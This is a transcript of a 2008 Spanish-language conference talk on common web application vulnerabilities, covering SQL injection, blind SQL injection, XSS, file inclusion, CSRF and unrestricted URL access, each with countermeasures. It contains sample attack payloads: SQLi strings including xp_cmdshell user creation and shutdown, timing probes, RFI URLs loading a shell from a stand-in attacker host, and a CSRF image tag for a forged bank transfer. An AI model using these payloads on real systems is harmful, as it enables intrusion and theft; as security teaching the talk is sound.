principales vulnerabilidades en aplicaciones web - rediris 2008
DESCRIPTION
Presentación hecha en el VI Foro de Seguridad Rediris 2008. Esta presentación cubre las principales y mas importantes vulnerabilidades en Aplicaciones Web.TRANSCRIPT
![Page 1: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/1.jpg)
Principales vulnerabilidades en aplicaciones Web
Christian Martorella
Edge-security.com
1
![Page 2: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/2.jpg)
#Whoami: Christian Martorella
Cofundador Edge-security.com
CISSP, CISM, CISA, OPST, OPSA
Actualmente trabajando en
Presidente de las Conferencias F.I.S.T
Miembro de OISSG
http://laramies.blogspot.com
2
![Page 3: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/3.jpg)
Escenario actual
El servicio más difundido y utilizado es WWW
75% de los ataques ocurren en las aplicaciones Web (Gartner)
3 de 4 servidores son vulnerables a los ataques web (Gartner)
Cada 1500 líneas de código hay una vulnerabilidad (IBM)
3
![Page 4: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/4.jpg)
Escenario actual
Aumento del uso de aplicaciones web en el día a día, Banca online, redes sociales, etc
Web 2.0 añade mayor complejidad y nuevos vectores de ataque
Los firewall permiten el paso de este servicio y no pueden hacer nada al respecto
Punto de contacto con las bases de datos ($$)
Cada vez los datos personales tienen más valor, y hay más interesados en ellos.
4
![Page 5: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/5.jpg)
Escenario actualPrecio de los datos:
5
![Page 6: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/6.jpg)
Escenario actualAtaques de phishing y fraude online (Launch pad, infection point)
6
![Page 7: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/7.jpg)
Escenario actual -
Web ApplicationsOtras vulnerabilidades
4396 vulnerabilidades
7
![Page 8: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/8.jpg)
Escenario actual -
PHP Remote File Inclusion
SQL Injection
Cross Site Scripting (XSS)
Cross Site request forgery (CSRF)
Vulnerabilidades más explotadas:
8
![Page 9: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/9.jpg)
Escenario actual - WASC
Web Application Security Consortium 2006
Cross site ScriptingOtherInformation LeakageHttp Response SplittingSQL InjectionSSI Injection
Porcentaje de sitios vulnerable por tipo de vulnerabilidad
9
![Page 10: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/10.jpg)
Escenario actual - WASC
0 25 50 75 100
4.30
1.19
9.76
15.70
26.38
85.57
Cross Site ScriptingSQL InjectionInformation LeakageHTTP Response SplittingPath TraversalOther
Web Application Security Consortium 2006
Vulnerabilidades más comúnes x clase
10
![Page 11: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/11.jpg)
Escenario actual - OWASP
Open Web Application Security Project
Cantidad de proyectos relacionados con la seguridad de aplicaciones web
Uno de ellos el Top 10 de vulnerabilidades
11
![Page 12: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/12.jpg)
OWASP TOP 10
Cross Site Scripting (XSS)
Injection Flaws (SQL, LDAP)
Malicious File Execution
Insecure Direct Object Reference
Cross Site Request Forgery (CSRF)
12
![Page 13: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/13.jpg)
OWASP TOP 10
Information Leakage and Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage
Insecure Communications
Failure to Restrict URL Access
13
![Page 14: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/14.jpg)
Escenario actual
14
![Page 15: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/15.jpg)
Web applications 101
15
![Page 16: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/16.jpg)
Web applications 101
16
![Page 17: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/17.jpg)
Web applications 101
17
![Page 18: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/18.jpg)
Las sospechosas habituales
18
![Page 19: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/19.jpg)
SQL injection
19
![Page 20: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/20.jpg)
SQL injection
SQL: Structured Query Language
Utilizado para consultar y administrar Bases de Datos
Query / consulta: Unidad típica de ejecución.
Consultas básicas: SELECT, INSERT, UPDATE.
20
![Page 21: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/21.jpg)
SQL injection
SELECT * FROM usuarios WHERE name=”laramies”;
SELECT id FROM usuarios;
SELECT nombre FROM usuarios UNION SELECT name FROM employees;
21
![Page 22: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/22.jpg)
SQL injection
La inyección de código SQL se produce cuando datos suministrados por el usuario son enviados sin filtrar a un intérprete como parte de una consulta (Query), con el fin de modificar el comportamiento original, para ejecutar comandos o consultas arbitrarias en la base de datos.
22
![Page 23: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/23.jpg)
SQL injection
<code>
sql_query=
“SELECT * FROM users WHERE
username = '" + username_string + "' AND
userpass = '" + password_string + "'"
</code>
23
![Page 24: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/24.jpg)
SQL injection
Consulta final en DB:
SELECT * FROM users WHERE
username = 'laramies' AND
userpass = 'test'
OK!
24
![Page 25: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/25.jpg)
SQL injection
Consulta final en DB:
SELECT * FROM users WHERE
username = 'laramies'' AND
userpass = 'test'
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND userpass=userpass_string'.
25
![Page 26: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/26.jpg)
SQL injection
Consulta final en DB:
SELECT * FROM users WHERE username = '' or 1=1;--
AND userpass = 'test'
OK!! Acceso permitido con el primer usuario de la DB
26
![Page 27: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/27.jpg)
SQL injection
Evadir autenticaciones, controles de acceso.
Obtener y/o modificar datos arbitrarios de la base de datos
Leer ficheros del sistema operativo
Ejecutar comandos en el Sistema Operativo
27
![Page 28: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/28.jpg)
SQL injection
SELECT * FROM usuarios WHERE name=’laramies’;exec master..xp_cmdshell(net user laramies /add);--
SELECT * FROM usuarios WHERE name=’laramies’;shutdown--
28
![Page 29: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/29.jpg)
SQL injection
DEMOS [SQL Injection]
29
![Page 30: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/30.jpg)
SQL injection - Tools
Sqlbif: http://www.open-labs.org/
SqPyfia: http://www.edge-security.com
Sqlmap: http://sqlmap.sourceforge.net/
Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
30
![Page 31: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/31.jpg)
Blind SQL injection
31
![Page 32: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/32.jpg)
Blind SQL injection
Blind SQL injection es igual al SQL injection, pero con la diferencia que no se obtienen mensajes de error ni resultados en las respuestas.
Es más difícil de explotar y lleva más tiempo obtener los resultados.
Se ocultaron los mensajes de error, pero no se arregló la vulnerabilidad.
32
![Page 33: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/33.jpg)
Blind SQL injection
Se puede explotar mediante consultas SQL con evaluaciones lógicas del tipo True ó False.
http://newspaper.com/items.php?id=2
SELECT title, description, body FROM items WHERE ID = 2
Y como resultado en el browser obtenemos:
“Conferencia de Rediris el día 28”
33
![Page 34: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/34.jpg)
Blind SQL injection
http://newspaper.com/items.php?id=2 and 1=0
SELECT title, description, body FROM items WHERE ID = 2 and 1=0
Como resultado en el browser obtenemos:
ID = 2 and 1=0
FalseTrue and False
“No se encontro articulo en la Base de datos”
34
![Page 35: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/35.jpg)
Blind SQL injection
http://newspaper.com/items.php?id=2 and 1=1
SELECT title, description, body FROM items WHERE ID = 2 and 1=1
Como resultado en el browser obtenemos:
“Conferencia de Rediris el dia 28”
35
![Page 36: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/36.jpg)
Blind SQL injection
“No se encontró artículo en la Base de datos” 43 chars
“Conferencia de Rediris el día 28” 32 chars
!=
36
![Page 37: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/37.jpg)
Blind SQL injection
Como podemos explotarla?
http://newspaper.com/items.php?id=2 and 1=1 OK
http://newspaper.com/items.php?id=2 and 1=0 NO
Hay que averiguar el tipo de DB:
http://newspaper.com/items.php?id=2 and user()=user() OK --> MYSQL
37
![Page 38: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/38.jpg)
Blind SQL injection
38
![Page 39: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/39.jpg)
Blind SQL injectionsql.php?id=1 and substr(user(),1,1) = “a” NO
sql.php?id=1 and substr(user(),1,1) = “b” NO
sql.php?id=1 and substr(user(),1,1) = “c” NO
sql.php?id=1 and substr(user(),1,1) = “d” NO
sql.php?id=1 and substr(user(),1,1) = “e” NO
Primer carácter del resultado de la función user() es “f”
“No se encontró artículo en la Base de datos”
sql.php?id=1 and substr(user(),1,1) = “f” OK “Conferencia de Rediris el día 28”
“No se encontró artículo en la Base de datos”
“No se encontró artículo en la Base de datos”
“No se encontró artículo en la Base de datos”
“No se encontró artículo en la Base de datos”
39
![Page 40: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/40.jpg)
Blind SQL injectionsql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK
sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK
sql.php?id=1 and ascii(substr(user(),1,1)) >150 NO
sql.php?id=1 and ascii(substr(user(),1,1)) >125 NO
sql.php?id=1 and ascii(substr(user(),1,1)) >112 OK
sql.php?id=1 and ascii(substr(user(),1,1)) >118 OK
sql.php?id=1 and ascii(substr(user(),1,1)) >114 NO
sql.php?id=1 and ascii(substr(user(),1,1)) >113 OK
sql.php?id=1 and ascii(substr(user(),1,1)) =114 OK
Primer carácter del resultado de la función user() es “r”
El valor ascii de la primer letra del usuario > 100
40
![Page 41: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/41.jpg)
Blind SQL injection
Si el comportamiento es el mismo, estamos seguros de que no hay SQL injection?
SELECT title, description, body FROM items WHERE ID = 2 and 1=0 32 Chars
SELECT title, description, body FROM items WHERE ID = 2 and 1=1 32 Chars
NO...
41
![Page 42: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/42.jpg)
Blind SQL injection
Pero podemos usar algunas opciones como:
TimingCondicionales (IF)
WAIT FOR DELAY '0:0:10' SQL Server
BENCHMARK() MySQL
pg_sleep(10) PostgreSQL
42
![Page 43: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/43.jpg)
Blind SQL injection
SELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay '0:0:15'--
SELECT title, description, body FROM items WHERE ID = 2;if (select user) = 'sa' waitfor delay '0:0:15'
Tiempo de ejecución > = 15 seg OK!
Tiempo de ejecución > = 15 OK!Sabemos que el usuario es “SA”
43
![Page 44: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/44.jpg)
Blind SQL injection
DEMOS [Blind]
44
![Page 45: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/45.jpg)
Blind SQL injection
45
![Page 46: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/46.jpg)
SQL injection
Contramedidas:
Validar los datos de entrada, White Lists
Utilización de procedimientos almacenados parametrizados
Conexiones con mínimos privilegios, granularidad
Validar, validar, validar, y por las dudas validar.
46
![Page 47: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/47.jpg)
Blind SQL injection
Sqlbif: http://www.open-labs.org/
SqPyfia: http://www.edge-security.com
Pblind: http://www.edge-security.com
Sqlmap: http://sqlmap.sourceforge.net/
Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
Herramientas:
47
![Page 48: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/48.jpg)
SQL Injection
48
![Page 49: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/49.jpg)
Cross Site Scripting XSS
49
![Page 50: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/50.jpg)
Cross Site Scripting XSS
La vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos.
Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc...
50
![Page 51: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/51.jpg)
Cross Site Scripting XSS
Robo de información de autenticación y
secuestro de cuentas
Robo y envenenamiento de cookies
Website Deface
Phishing
Que se puede hacer con ellos?:
51
![Page 52: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/52.jpg)
Cross Site Scripting XSS
Log Keystrokes Deface websites
Port Scan Intranet XSRF
Abusar de vulnerabilidades del browser
Robar History
Más..
52
![Page 53: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/53.jpg)
Cross Site Scripting XSS
Persistente o Almacenado
No persistente ó reflejado (más común)
Basados en DOM (Document Object Model)
Tipos:
53
![Page 54: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/54.jpg)
Cross Site Scripting XSSNo Persistente - Reflejado
1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos personales.
2. Haxor encuentra un XSS de tipo “No persistente” en “XSSLand”.
3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo, haciendose pasar por el servicio de administración de “XSSLand”
4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand”
5. El script incrustado en la URL, se ejecuta en el Browser, como si viniera de “XSSLand”. El script envia la cookie de sesión a Haxor. Ahora Haxor puede acceder a “XSSLand” como si fuera Alice y obtener o modificar la información disponible.
54
![Page 55: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/55.jpg)
Cross Site Scripting XSS
Persistente
1. El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como firmar el libro de visitas.
2. Haxor detecta que el sitio “XSSLand” es vulnerable a un XSS de tipo persistente.
3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a verlo.
4. Solo con ver el mensaje, la cookie de sesión de los usuarios sera enviada a un servidor controlado por Haxor sin que los usuarios se den cuenta.
5. Posteriormente Haxor, accede con las cookies de sesión de los otros usuarios y envia mensajes suplantando la identidad de las victimas.
55
![Page 56: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/56.jpg)
Cross Site Scripting XSS
56
![Page 57: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/57.jpg)
Cross Site Scripting XSS
57
![Page 58: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/58.jpg)
Cross Site Scripting XSS
DEMO [Consola Beef]
58
![Page 59: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/59.jpg)
Cross Site Scripting XSS
Filtrar todo el contenido que recibimos para evitar que se incluyan tags de scripting, aceptando solo los valores válidos. (White Lists)
Antes de almacenar y de volver a mostrar los datos a los usuarios, se recomienda transformar los meta-caracteres, que permiten esta vulnerabilidad, a su entidad HTML correspondiente. > > < < & &
Contramedidas:
Validar, validar, validar, y por las dudas validar.
59
![Page 60: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/60.jpg)
Remote File inclusion (RFI)
60
![Page 61: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/61.jpg)
File inclusion La inclusión remota de ficheros o código permite a los atacantes incluir código y datos arbitrarios en la aplicación vulnerable, que luego se ejecutará en el servidor.
Muchas aplicaciones permiten subir ficheros, fotos, documentos, etc... (Upload)
La inclusión de los ficheros puede ser tanto local como remota
61
![Page 62: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/62.jpg)
File inclusion
La podemos encontrar en urls del tipo:
http://vulnsite.com/leer.php?file=news.php
http://vulnsite.com/area.php?file=news
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00
Si logramos incluir código, ficheros o realizar un upload podemos...
62
![Page 63: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/63.jpg)
File inclusion
Ejecutar comandos a través de una consola web. (Darkraver web-kit)
Paneles de control (c99, r57)
Cliente SQL a través de http.
Subir y ejecutar cualquier binario (Port redirectors, túneles, etc)
Cualquier cosa que se nos ocurra.
Control total del servidor :)
63
![Page 64: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/64.jpg)
File inclusion
64
![Page 65: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/65.jpg)
Remote File inclusion (RFI)
65
![Page 66: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/66.jpg)
Local File Inclusion
66
![Page 67: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/67.jpg)
Local File Inclusion
67
![Page 68: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/68.jpg)
Remote File inclusion (RFI)
68
![Page 69: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/69.jpg)
Remote File inclusion (RFI)
69
![Page 70: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/70.jpg)
Remote File inclusion (RFI)
DEMO [Consola SQL]
70
![Page 71: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/71.jpg)
File inclusion
Ocultar nombre de ficheros al usuario
Desactivar “allow_url_fopen” y “allow_url_include” en PHP.INI
Configurar firewalls para prevenir que el servidor Web no pueda realizar conexiones nuevas hacia servidores externos o internos.
Utilizar valores que se mapeen con los ficheros necesarios, asi “1” es equivalente a “config_user.ini”, “2” a “config_site.ini”
Validar, validar, validar, y por las dudas validar.71
![Page 72: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/72.jpg)
XSRF (Cross Site Request Forgery)
72
![Page 73: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/73.jpg)
Cross Site Request Forgery
El atacante fuerza al browser de la víctima a realizar una petición, en la sesión autenticada o no, de una aplicación sin el conocimiento del usuario.
<IMG SRC=”http://www.mibancaonline.com/
transferencia.asp?
amount=1000000&to_account=3l3373” />
73
![Page 74: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/74.jpg)
Cross Site Request Forgery
74
![Page 75: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/75.jpg)
Cross Site Request Forgery
“Yo no me descargue ese fichero, fui víctima de un CSRF”
“It's a problem for forensics people who aren't as familiar with it and might
not understand whether it's possible that CSRF could be blamed for
what the defendant is accused of. “
Chuck Willis,Principal consultant, Mandiant
75
![Page 76: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/76.jpg)
Cross Site Request Forgery
No funciona confiar en el Referrer.
No funciona confiar solo en los POST
Utilizar tokens Random! (campos HIDDEN)
Contramedidas:
76
![Page 77: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/77.jpg)
Failure to Restrict URL Access
77
![Page 78: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/78.jpg)
Failure to Restrict URL Access
Usualmente la aplicación protege solamente las funcionalidades más sensibles, evitando publicar los links o las urls a los usuarios no autorizados.
Los atacantes explotan esta vulnerabilidad accediendo directamente a estas funcionalidades.
78
![Page 79: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/79.jpg)
Failure to Restrict URL Access
Existen muchos diccionarios creados para explotar esta vulnerabilidad:
Diccionarios de distintos idiomas
Diccionarios por contexto dependiendo del servidor Web, servidor de aplicaciones, y Aplicaciones
79
![Page 80: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/80.jpg)
Failure to Restrict URL Access
Wfuzz
80
![Page 81: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/81.jpg)
Failure to Restrict URL Access
DEMO [Wfuzz]
81
![Page 82: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/82.jpg)
Failure to Restrict URL Access
Wfuzz: http://www.edge-security.com/wfuzz.php
Dirb: http://www.open-labs.org/
Herramientas:
82
![Page 83: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/83.jpg)
83
![Page 84: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/84.jpg)
